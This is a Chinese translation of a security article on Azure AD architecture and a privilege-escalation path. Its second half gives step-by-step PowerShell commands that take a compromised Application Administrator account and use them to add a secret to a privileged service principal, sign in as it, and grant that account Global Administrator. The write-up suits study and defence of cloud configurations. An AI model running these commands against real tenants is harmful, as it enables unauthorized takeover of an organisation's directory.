这篇文章介绍了微软云计算平台的架构、服务、权限等,同时分析了因服务权限配置不当导致的权限提升问题。
原文链接:https://infosecwriteups.com/azure-privilege-escalation-via-service-principal-ae12fd79374c
Azure是微软创建的云计算平台,提供范围广泛的服务,如虚拟机、存储、数据库等。它允许个人和企业在安全和可扩展的环境中运行他们的应用程序和存储数据,而无需投资昂贵的硬件或基础设施管理。
Azure 提供范围广泛的服务,可用于各种目的。以下是一些值得关注的:
计算服务:虚拟机、Kubernetes、Azure Functions 等。
存储服务:Blob 存储、文件存储、磁盘存储和存档存储。
数据库服务:Azure SQL 数据库、Azure Cosmos DB、Azure Database for MySQL 等。
网络服务:Azure 虚拟网络、Azure 负载均衡器、Azure 应用程序网关等。
安全服务:Azure Active Directory、Azure 安全中心、Azure Key Vault 等。
人工智能和机器学习服务:Azure 提供多种人工智能和机器学习服务,例如 Azure 机器学习、认知服务等。
物联网 (IoT) 服务:Azure IoT Hub、Azure IoT Edge 等。
来看看 Azure AD 的层次结构
1、租户:租户是组织在注册服务时收到的 Azure AD 的专用实例。Azure 中的顶级容器代表单个组织或实体。租户绑定到特定的 Azure AD 目录,用于管理该目录的访问和资源。
2、管理组:管理组是一个容器,可帮助你跨多个订阅管理访问、策略和合规性。管理组提供了一种应用治理控制和分层管理资源的方法。
3、订阅:订阅管理账单并控制对 Azure 资源的访问。可以在单个租户内创建多个订阅,每个订阅可以有不同的计费和访问控制设置。
4、资源组:资源组组织资源、应用策略和控制资源访问。可以在一个订阅内创建多个资源组,每个资源组可以有不同的访问控制和策略。
5、资源:资源是用于在 Azure 中预配和管理服务的单个组件。资源可以是虚拟机、存储帐户、数据库、Web 应用程序或用于在 Azure 中构建和运行应用程序的任何其他组件。
Azure 提供了一个强大而灵活的权限模型,允许组织管理对其 Azure 资源和服务的访问。该模型基于从 Azure 租户开始的层次结构,代表组织在 Azure 中的身份。
在租户内,全局管理员拥有对所有资源和服务的完全管理访问权限,包括创建新订阅以及管理用户和组。全局管理员还可以为租户内的用户和组分配角色,控制他们对资源和服务的访问。
订阅是层次结构中的下一级,代表 Azure 资源和服务分组。在订阅中,有几个内置角色:
Reader——允许用户查看资源但不能进行更改和
贡献者——允许用户管理资源
所有者——对订阅内所有资源的完全访问权限,并可以管理订阅内的其他角色和访问控制
除了内置角色之外,组织还可以创建自定义角色,以提供对订阅中特定资源或服务的精细访问。可以使用 Azure 的基于角色的访问控制 (RBAC) 系统创建自定义角色,该系统允许组织定义其权限和访问控制。
Azure应用程序代表注册到 Azure AD 的应用程序或服务,用于访问 Azure 中的资源。通过 Azure AD 注册应用程序,可以定义访问 Azure 资源所需的范围和权限。还可以为应用程序配置身份验证和授权设置。
服务主体是为 Azure AD 中的应用程序创建的身份,用于在访问 Azure 资源时对应用程序进行身份验证。向 Azure AD 注册应用程序时,会自动为该应用程序创建一个服务主体。服务主体用于根据应用程序注册中定义的权限和范围对应用程序进行身份验证并提供对 Azure 资源的访问。服务主体使用客户端 ID 和密码进行身份验证。
在这里,在我们的“MYAPP”应用程序中,应用程序(客户端)ID 指的是应用程序“MyApp”ID,而应用程序的对象 ID 是服务主体 ID。
现在介绍下常见攻击路径及其利用的真实场景。
在这里,我们已经有一个已经受损的用户帐户 APPADMIN。帐户可能以多种方式受到损害,包括网络钓鱼攻击、弱密码、不安全的网络连接以及应用程序或系统中的漏洞。进一步挖掘后,我们发现该帐户已分配有应用程序管理员角色。
应用程序管理员角色负责创建、管理和监控 Azure 平台上托管的应用程序的所有方面。具有此角色的用户可以完全控制 Azure 中托管的所有应用程序。
1) 使用受感染用户帐户的凭据,让我们从 PowerShell 连接到 Azure。请注意,我们需要在 PowerShell 中安装Az和AzureAD模块。
$UserID = "[email protected]"
$TenantID = "TENANT_ID"
$Password = ConvertTo-SecureString 'PASSWORD' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential($UserID, $Password)
Connect-AzureAD -Credential $Cred -TenantID $TenantID
2) 可以验证用户实际上是应用程序管理员
Get-AzureADUser | ?{$_.UserPrincipalName -eq "[email protected]"} # Checking object ID of user
Get-AzureADDirectoryRole | ?{$_.DisplayName -eq 'Application Administrator'}
Get-AzureADDirectoryRoleMember -ObjectId "OBJECT_ID" #Comparing Object ID of Application Administrator Member to the user
3) 使用 Azurehound,我们可以观察到从受感染帐户 APPADMIN 到全局管理员的直接路径
这是因为其中一个应用程序(和服务主体)MYAPP 已被分配了特权角色管理员角色。
如果服务主体需要对某些 Azure 资源(例如虚拟机、存储帐户或数据库)进行特权访问,则可以为服务主体分配特权角色管理员 (PRA) 角色。PRA 角色允许应用程序执行管理任务,例如配置安全策略、管理对资源的访问以及创建和管理其他 Azure 角色和权限。某些执行特定管理功能(例如安装软件、配置网络设置或管理用户帐户)的应用程序需要此级别的访问权限。
这很关键,因为特权角色管理员可以将任何其他管理员角色授予租户级别的另一个主体。这包括授予对高级角色的访问权限,例如全局管理员、计费管理员或安全管理员。
4) 验证服务主体 MYAPP 的 PRA 角色
Get-AzureADDirectoryRole | ?{$_.DisplayName -eq 'Privileged Role Administrator'}
Get-AzureADDirectoryRoleMember -ObjectId "OBJECT_ID"
已为服务主体 MYAPP 分配了特权角色管理员角色。我们还可以确认用户 APPADMIN 不是应用程序的所有者
Get-AzureADApplication #Get target app Object ID
Get-AzureADApplicationOwner -ObjectId "OBJECT_ID" #Get App Owner
由于受感染的用户不是应用程序的所有者,需要服务主体的权限才能升级到全局管理员。
5) 由于应用程序管理员角色,用户APPADMIN可以为应用程序MYAPP的服务主体分配一个新的凭证
$secret = New-AzureADApplicationPasswordCredential -ObjectId "OBJECT_ID"
$secret.value
6) 以用户 APPADMIN 的身份注销,并使用新创建的凭证以 MYAPP 服务主体的身份向租户进行身份验证
Disconnect-AzureAD
$ApplicationID = "APP_ID"
$TenantID = "TENANT_ID"
$Password = ConvertTo-SecureString $secret.value -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential($ApplicationID, $Password)
Connect-AzAccount -Credential $Cred -TenantID $TenantID -ServicePrincipal
$context = [Microsoft.Azure.Commands.Common.Authentication.Abstractions.AzureRmProfileProvider]::Instance.Profile.DefaultContext
$token = [Microsoft.Azure.Commands.Common.Authentication.AzureSession]::Instance.AuthenticationFactory.Authenticate($context.Account, $context.Environment, $context.Tenant.Id.ToString(), $null, [Microsoft.Azure.Commands.Common.Authentication.ShowDialog]::Never, $null, "https://graph.windows.net").AccessToken
Connect-AzureAD -AadAccessToken $token -AccountId $context.Account.Id -TenantId $context.tenant.id
7) 作为服务主体连接后,我们可以利用其特权角色管理员角色授予用户 APPADMIN 全局管理员角色
Get-AzureADDirectoryRole | ?{$_.DisplayName -eq 'Global Administrator'}
Get-AzureADUser | ?{$_.DisplayName -eq 'AppAdmin'} #Getting object ID of Appadmin
Add-AzureADDirectoryRoleMember -RefObjectId "OBJECT_ID_APPADMIN" -ObjectId "OBJECT_ID_GA" # Adding App Admin to GA
8) 可以看到用户APPADMIN已经加入到Global Administrators组
商务咨询:
0571-87031601
商务邮箱: